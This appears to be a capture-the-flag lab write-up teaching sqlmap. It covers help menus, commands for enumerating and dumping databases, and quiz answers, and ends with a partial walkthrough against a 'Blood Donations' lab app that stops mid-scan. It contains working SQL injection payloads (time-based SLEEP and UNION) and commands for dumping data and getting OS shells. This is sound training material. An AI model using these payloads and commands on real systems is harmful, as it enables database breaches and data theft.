SQLMAP
Introduction
In this room, we will learn about sqlmap and how it can be used to exploit SQL Injection vulnerabilities.
What is sqlmap?
sqlmap is an open source penetration testing tool developed by Bernardo Damele Assumpcao Guimaraes and Miroslav Stampar that automates the process of detecting and exploiting SQL injection flaws and taking over database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches lasting from database fingerprinting, fetching data from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
Installing Sqlmap
If you're using Kali Linux, sqlmap is pre-installed. Otherwise, you can download it here: https://github.com/sqlmapproject/sqlmap
Answer the questions below
Read the above and have sqlmap at the ready.
Completed
Using Sqlmap
Sqlmap Commands
To show the basic help menu, simply type sqlmap -h in the terminal.
sqlmap -h in the terminal.Help Message
nare@nare$ sqlmap -h
___
__H__
___ ___[']_____ ___ ___ {1.6#stable}
|_ -| . [(] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: python3 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
These options do not fit into any other category
--wizard Simple wizard interface for beginner users
[!] to see full list of options run with '-hh'Basic commands:
Options
Description
-u URL, --url=URL
Target URL (e.g. "http://www.site.com/vuln.php?id=1")
--data=DATA
Data string to be sent through POST (e.g. "id=1")
--random-agent
Use randomly selected HTTP User-Agent header value
-p TESTPARAMETER
Testable parameter(s)
--level=LEVEL
Level of tests to perform (1-5, default 1)
--risk=RISK
Risk of tests to perform (1-3, default 1)
Enumeration commands:
These options can be used to enumerate the back-end database management system information, structure, and data contained in tables.
Options
Description
-a, --all
Retrieve everything
-b, --banner
Retrieve DBMS banner
--current-user
Retrieve DBMS current user
--current-db
Retrieve DBMS current database
--passwords
Enumerate DBMS users password hashes
--dbs
Enumerate DBMS databases
--tables
Enumerate DBMS database tables
--columns
Enumerate DBMS database table columns
--schema
Enumerate DBMS schema
--dump
Dump DBMS database table entries
--dump-all
Dump all DBMS databases tables entries
--is-dba
Detect if the DBMS current user is DBA
-D <DB NAME> DBMS database to enumerate
-T <TABLE NAME> DBMS database table(s) to enumerate
-C COL
DBMS database table column(s) to enumerate
Operating System access commands
These options can be used to access the back-end database management system on the target operating system.
Options
Description
--os-shell
Prompt for an interactive operating system shell
--os-pwn
Prompt for an OOB shell, Meterpreter or VNC
--os-cmd=OSCMD
Execute an operating system command
--priv-esc
Database process user privilege escalation
--os-smbrelay
One-click prompt for an OOB shell, Meterpreter or VNC
Note that the tables shown above aren't all the possible switches to use with sqlmap. For a more extensive list of options, run sqlmap -hh to display the advanced help message.
Now that we've seen some of the options we can use with sqlmap, let’s jump into the examples using both GET and POST Method based requests.
Simple HTTP GET Based Test
sqlmap -u https://testsite.com/page.php?id=7 --dbs
Here we have used two flags: -u to state the vulnerable URL and --dbs to enumerate the database.
Simple HTTP POST Based Test
First, we need to identify the vulnerable POST request and save it. In order to save the request, Right Click on the request, select 'Copy to file', and save it to a directory. You could also copy the whole request and save it to a text file as well.
You’ll notice in the request above, we have a POST parameter 'blood_group' which could a vulnerable parameter.
Saved HTTP POST request
nare@nare$ cat req.txt
POST /blood/nl-search.php HTTP/1.1
Host: 10.10.17.116
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.17.116
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.17.116/blood/nl-search.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=bt0q6qk024tmac6m4jkbh8l1h4
Connection: close
blood_group=B%2BNow that we’ve identified a potentially vulnerable parameter, let’s jump into the sqlmap and use the following command:
sqlmap -r req.txt -p blood_group --dbs
**sqlmap -r <request_file> -p <vulnerable_parameter> --dbs**
Here we have used two flags: -r to read the file, -p to supply the vulnerable parameter, and --dbs to enumerate the database.
Database Enumeration
nare@nare$ sqlmap -r req.txt -p blood_group --dbs
[19:31:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[19:31:50] [INFO] POST parameter 'blood_group' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[19:33:09] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[19:33:09] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[19:33:09] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[19:33:09] [WARNING] most likely web server instance hasn't recovered yet from previous timed based payload. If the problem persists please wait for a few minutes and rerun without flag 'T' in option '--technique' (e.g. '--flush-session --technique=BEUS') or try to lower the value of option '--time-sec' (e.g. '--time-sec=2')
[19:33:10] [WARNING] reflective value(s) found and filtering out
[19:33:12] [INFO] target URL appears to be UNION injectable with 8 columns
[19:33:13] [INFO] POST parameter 'blood_group' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
POST parameter 'blood_group' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 71 HTTP(s) requests:
---
Parameter: blood_group (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:33:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:33:17] [INFO] fetching database names
available databases [6]:
[*] blood
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] testNow that we have the databases, let's extract tables from the database blood.
Using GET based Method
sqlmap -u https://testsite.com/page.php?id=7 -D blood --tables
**sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --tables
**
Using POST based Method
sqlmap -r req.txt -p blood_group -D blood --tables
**sqlmap -r req.txt -p <vulnerable_parameter> -D <database_name> --tables
**
Once we run these commands, we should get the tables.
Getting Tables
nare@nare$ sqlmap -r req.txt -p blood_group -D blood --tables
[19:35:57] [INFO] parsing HTTP request from 'req.txt'
[19:35:57] [INFO] resuming back-end DBMS 'mysql'
[19:35:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blood_group (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:35:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:35:58] [INFO] fetching tables for database: 'blood'
[19:35:58] [WARNING] reflective value(s) found and filtering out
Database: blood
[3 tables]
+----------+
| blood_db |
| flag |
| users |
+----------+Once we have available tables, now let’s gather the columns from the table blood_db.
Using GET based Method
sqlmap -u https://testsite.com/page.php?id=7 -D blood -T blood_db --columns
**sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> -T <table_name> --columns
**
Using POST based Method
sqlmap -r req.txt -D blood -T blood_db --columns
**sqlmap -r req.txt -D <database_name> -T <table_name> --columns
**
Getting Tables
nare@nare$ sqlmap -r req.txt -D blood -T blood_db --columns
[19:35:57] [INFO] parsing HTTP request from 'req.txt'
[19:35:57] [INFO] resuming back-end DBMS 'mysql'
[19:35:57] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: blood_group (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: blood_group=B+' AND (SELECT 3897 FROM (SELECT(SLEEP(5)))Zgvj) AND 'gXEj'='gXEj
Type: UNION query
Title: Generic UNION query (NULL) - 8 columns
Payload: blood_group=B+' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a767a71,0x58784e494a4c43546361475a45546c676e736178584f517a457070784c616b4849414c69594c6371,0x71716a7a71)-- -
---
[19:35:58] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0.12
[19:35:58] [INFO] fetching tables for database: 'blood'
[19:35:58] [WARNING] reflective value(s) found and filtering out
Database: blood
[3 tables]
+----------+
| blood_db |
| flag |
| users |
+----------+Or we can simply dump all the available databases and tables using the following commands.
Using GET based Method
sqlmap -u https://testsite.com/page.php?id=7 -D <database_name> --dump-all
sqlmap -u https://testsite.com/page.php?id=7 -D blood --dump-all
Using POST based Method
sqlmap -r req.txt -D <database_name> --dump-all
sqlmap -r req.txt-p -D <database_name> --dump-all
I hope you have enjoyed seeing the basics of using sqlmap and its various commands. Now, let’s start the challenge in the next task!
Answer the questions below
Which flag or option will allow you to add a URL to the command?
-u
Which flag would you use to add data to a POST request?
--data
There are two parameters: username and password. How would you tell sqlmap to use the username parameter for the attack?
-p username
Which flag would you use to show the advanced help menu?
-hh
Which flag allows you to retrieve everything?
-a
Which flag allows you to select the database name?
-D
Which flag would you use to retrieve database tables?
--tables
Which flag allows you to retrieve a table’s columns?
--columns
Which flag allows you to dump all the database table entries?
--dump-all
Which flag will give you an interactive SQL Shell prompt?
Use advance help
┌──(kali㉿kali)-[~]
└─$ sqlmap -hh
___
__H__
___ ___["]_____ ___ ___ {1.6.12#stable}
|_ -| . [(] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: python3 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT Connection string for direct database connection
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target URL
-A AGENT, --user.. HTTP User-Agent header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
--live-cookies=L.. Live cookies file used for loading up-to-date values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--mobile Imitate smartphone through HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, Bearer, ...)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--proxy-freq=PRO.. Requests between change of proxy from a given list
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--retry-on=RETRYON Retry request on regexp matching content (e.g. "drop")
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Regular requests between visits to a safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit
--csrf-data=CSRF.. POST data to send during anti-CSRF token page visit
--csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0)
--force-ssl Force usage of SSL/HTTPS
--chunked Use HTTP chunked transfer encoded (POST) requests
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--param-filter=P.. Select testable parameter(s) by place (e.g. "POST")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--smart Perform thorough tests only if positive heuristic(s)
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
--statements Retrieve SQL statements being run on DBMS
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=SQLQ.. SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)
Brute force:
These options can be used to run brute force checks
--common-tables Check existence of common tables
--common-columns Check existence of common columns
--common-files Check existence of common files
User-defined function injection:
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=FILE.. Read a file from the back-end DBMS file system
--file-write=FIL.. Write a local file on the back-end DBMS file system
--file-dest=FILE.. Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Windows registry access:
These options can be used to access the back-end database management
system Windows registry
--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type
General:
These options can be used to set some general working parameters
-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
--base64=BASE64P.. Parameter(s) containing Base64 encoded data
--base64-safe Use URL and filename safe Base64 alphabet (RFC 4648)
--batch Never ask for user input, use the default behavior
--binary-fields=.. Result fields having binary values (e.g. "digest")
--check-internet Check Internet connection before assessing the target
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")
--dump-file=DUMP.. Store dumped data to a custom file
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--har=HARFILE Log all HTTP traffic into a HAR file
--hex Use hex conversion during data retrieval
--output-dir=OUT.. Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--preprocess=PRE.. Use given script(s) for preprocessing (request)
--postprocess=PO.. Use given script(s) for postprocessing (response)
--repair Redump entries having unknown character marker (?)
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp for filtering targets
--skip-heuristics Skip heuristic detection of vulnerabilities
--skip-waf Skip heuristic detection of WAF/IPS protection
--table-prefix=T.. Prefix used for temporary tables (default: "sqlmap")
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")
Miscellaneous:
These options do not fit into any other category
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--beep Beep on question and/or when vulnerability is found
--dependencies Check for missing (optional) sqlmap dependencies
--disable-coloring Disable console output coloring
--list-tampers Display list of available tamper scripts
--no-logging Disable logging to a file
--offline Work in offline mode (only use session data)
--purge Safely remove all content from sqlmap data directory
--results-file=R.. Location of CSV results file in multiple targets mode
--shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--unstable Adjust options for unstable connections
--update Update sqlmap
--wizard Simple wizard interface for beginner users
--sql-shell
You know the current db type is 'MYSQL'. Which flag allows you to enumerate only MySQL databases?
All lowercase
--dbms=mysql
SQLMap Challenge
Start Machine
Deploy the machine attached to this task, then navigate to MACHINE_IP (this machine can take up to 3 minutes to boot)
Task:
We have deployed an application to collect 'Blood Donations'. The request seems to be vulnerable.
Exploit a SQL Injection vulnerability on the vulnerable application to find the flag.
Answer the questions below
┌──(kali㉿kali)-[~]
└─$ rustscan -a 10.10.60.177 --ulimit 5500 -b 65535 -- -A -Pn
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5500.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
Open 10.10.60.177:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-04 21:49 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 21:49
Completed Parallel DNS resolution of 1 host. at 21:49, 0.02s elapsed
DNS resolution of 1 IPs took 0.02s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 21:49
Scanning 10.10.60.177 [1 port]
Discovered open port 80/tcp on 10.10.60.177
Completed Connect Scan at 21:49, 0.27s elapsed (1 total ports)
Initiating Service scan at 21:49
Scanning 1 service on 10.10.60.177
Completed Service scan at 21:49, 6.48s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.60.177.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 4.69s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.96s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
Nmap scan report for 10.10.60.177
Host is up, received user-set (0.27s latency).
Scanned at 2023-02-04 21:49:31 EST for 12s
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack nginx 1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.10.3 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:49
Completed NSE at 21:49, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.42 seconds
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.60.177/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 64 -k
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.60.177/
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/02/04 21:53:08 Starting gobuster in directory enumeration mode
===============================================================
/blood (Status: 301) [Size: 194] [--> http://10.10.60.177/blood/]
Progress: 157125 / 220561 (71.24%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2023/02/04 22:03:01 Finished
===============================================================
┌──(kali㉿kali)-[~/nappy/brutus]
└─$ cat req.txt
POST /blood/nl-search.php HTTP/1.1
Host: 10.10.60.177
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
Origin: http://10.10.60.177
Connection: close
Referer: http://10.10.60.177/blood/nl-search.php
Cookie: PHPSESSID=j0nsjv2qg4qfbbnappstgqqo61
Upgrade-Insecure-Requests: 1
blood_group=A%2B
┌──(kali㉿kali)-[~/nappy/brutus]
└─$ sqlmap -r req.txt -p blood_group --dbs
___
__H__
___ ___[(]_____ ___ ___ {1.6.12#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 22:12:39 /2023-02-04/
[22:12:39] [INFO] parsing HTTP request from 'req.txt'
[22:12:40] [INFO] testing connection to the target URL
[22:12:40] [INFO] testing if the target URL content is stable
[22:12:41] [INFO] target URL content is stable
[22:12:41] [WARNING] heuristic (basic) test shows that POST parameter 'blood_group' might not be injectable
[22:12:42] [INFO] testing for SQL injection on POST parameter 'blood_group'
[22:12:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:12:43] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[22:12:44] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:12:45] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:12:46] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[22:12:48] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[22:12:49] [INFO] testing 'Generic inline queries'
[22:12:49] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[22:12:49] [WARNING] time-based comparison requires larger statistical model, please wait. (done)
[22:12:50] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
